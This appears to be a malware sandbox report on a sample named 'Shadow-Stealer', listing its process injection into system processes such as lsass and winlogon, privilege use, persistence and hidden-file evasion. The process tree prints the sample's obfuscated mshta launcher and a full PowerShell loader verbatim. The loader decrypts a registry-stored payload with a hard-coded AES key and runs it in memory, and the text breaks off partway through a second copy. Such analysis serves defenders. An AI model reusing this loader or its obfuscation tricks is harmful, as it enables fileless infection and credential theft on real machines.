Token: SeDebugPrivilege	864	dllhost.exe
Token: SeDebugPrivilege	4156	$sxr-powershell.exe
Token: SeDebugPrivilege	4156	$sxr-powershell.exe
Token: SeDebugPrivilege	4300	dllhost.exe
Token: SeDebugPrivilege	1532	dllhost.exe
Token: SeDebugPrivilege	4644	$sxr-powershell.exe
Token: SeDebugPrivilege	4156	$sxr-powershell.exe
Token: SeDebugPrivilege	448	dllhost.exe
Token: SeDebugPrivilege	820	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2080	svchost.exe
Token: SeIncreaseQuotaPrivilege	2080	svchost.exe
Token: SeSecurityPrivilege	2080	svchost.exe
Token: SeTakeOwnershipPrivilege	2080	svchost.exe
Token: SeLoadDriverPrivilege	2080	svchost.exe
Token: SeSystemtimePrivilege	2080	svchost.exe
Token: SeBackupPrivilege	2080	svchost.exe
Token: SeRestorePrivilege	2080	svchost.exe
Token: SeShutdownPrivilege	2080	svchost.exe
Token: SeSystemEnvironmentPrivilege	2080	svchost.exe
Token: SeUndockPrivilege	2080	svchost.exe
Token: SeManageVolumePrivilege	2080	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2080	svchost.exe
Token: SeIncreaseQuotaPrivilege	2080	svchost.exe
Token: SeSecurityPrivilege	2080	svchost.exe
Token: SeTakeOwnershipPrivilege	2080	svchost.exe
Token: SeLoadDriverPrivilege	2080	svchost.exe
Token: SeSystemtimePrivilege	2080	svchost.exe
Token: SeBackupPrivilege	2080	svchost.exe
Token: SeRestorePrivilege	2080	svchost.exe
Token: SeShutdownPrivilege	2080	svchost.exe
Token: SeSystemEnvironmentPrivilege	2080	svchost.exe
Token: SeUndockPrivilege	2080	svchost.exe
Token: SeManageVolumePrivilege	2080	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2080	svchost.exe
Token: SeIncreaseQuotaPrivilege	2080	svchost.exe
Token: SeSecurityPrivilege	2080	svchost.exe
Token: SeTakeOwnershipPrivilege	2080	svchost.exe
Token: SeLoadDriverPrivilege	2080	svchost.exe
Token: SeSystemtimePrivilege	2080	svchost.exe
Token: SeBackupPrivilege	2080	svchost.exe
Token: SeRestorePrivilege	2080	svchost.exe
Token: SeShutdownPrivilege	2080	svchost.exe
Token: SeSystemEnvironmentPrivilege	2080	svchost.exe
Token: SeUndockPrivilege	2080	svchost.exe
Token: SeManageVolumePrivilege	2080	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2080	svchost.exe
Token: SeIncreaseQuotaPrivilege	2080	svchost.exe
Token: SeSecurityPrivilege	2080	svchost.exe
Token: SeTakeOwnershipPrivilege	2080	svchost.exe
Token: SeLoadDriverPrivilege	2080	svchost.exe
Token: SeSystemtimePrivilege	2080	svchost.exe
Token: SeBackupPrivilege	2080	svchost.exe
Token: SeRestorePrivilege	2080	svchost.exe
Token: SeShutdownPrivilege	2080	svchost.exe
Token: SeSystemEnvironmentPrivilege	2080	svchost.exe
Token: SeUndockPrivilege	2080	svchost.exe
Token: SeManageVolumePrivilege	2080	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2080	svchost.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exeExplorer.EXE

pid	process
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
3580	Explorer.EXE
3580	Explorer.EXE
3580	Explorer.EXE
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exeExplorer.EXE

pid	process
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
3580	Explorer.EXE
3580	Explorer.EXE
3580	Explorer.EXE
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

$sxr-powershell.exeConhost.exe

pid process

4156 $sxr-powershell.exe
6776 Conhost.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

RuntimeBroker.exeExplorer.EXE

pid process

4168 RuntimeBroker.exe
3580 Explorer.EXE

pid	process
4156	$sxr-powershell.exe
6776	Conhost.exe

pid	process
4168	RuntimeBroker.exe
3580	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeShadow-Stealer.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exedllhost.exe

description	pid	process	target process
PID 1560 wrote to memory of 4072	1560	cmd.exe	Shadow-Stealer.bat.exe
PID 1560 wrote to memory of 4072	1560	cmd.exe	Shadow-Stealer.bat.exe
PID 4072 wrote to memory of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 3320	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 3320	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 3320	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 wrote to memory of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 1316 wrote to memory of 4208	1316	$sxr-mshta.exe	$sxr-cmd.exe
PID 1316 wrote to memory of 4208	1316	$sxr-mshta.exe	$sxr-cmd.exe
PID 4208 wrote to memory of 4156	4208	$sxr-cmd.exe	$sxr-powershell.exe
PID 4208 wrote to memory of 4156	4208	$sxr-cmd.exe	$sxr-powershell.exe
PID 4156 wrote to memory of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 4644	4156	$sxr-powershell.exe	$sxr-powershell.exe
PID 4156 wrote to memory of 4644	4156	$sxr-powershell.exe	$sxr-powershell.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 wrote to memory of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 448 wrote to memory of 616	448	dllhost.exe	winlogon.exe
PID 448 wrote to memory of 688	448	dllhost.exe	lsass.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

6800 attrib.exe

pid	process
6800	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:332

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{a7cee43f-c295-448e-ac3b-ee248bf53b89}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{35927f6b-2f0b-4668-8979-46eb12859603}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4300

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{a7275a94-40f6-4e22-8327-9fe36c9cebc4}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:448

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{0154cfce-8cd2-470e-87b8-e59f219e68a6}
2⤵
PID:3540

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2874454f-7d7b-42ee-9a02-9c3db4d8eed4}
2⤵
PID:5160

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{3b3ffb7d-758d-4b3d-96ad-e384b375926e}
2⤵
PID:6336

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{4c016e3a-7e59-4f43-9f37-4ed56a3707e1}
2⤵
PID:368

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{c302699f-ddbd-46f4-a5c5-5879b19fe428}
2⤵
PID:6472

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{35684c9f-3e82-4538-86ef-fa30a2eaea7c}
2⤵
PID:5716

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1172

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2760

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4208

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:736

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4156

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{dcb0d109-cec9-4042-bdec-786060887f28}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532

C:\Windows\$sxr-powershell.exe
"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4156).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = 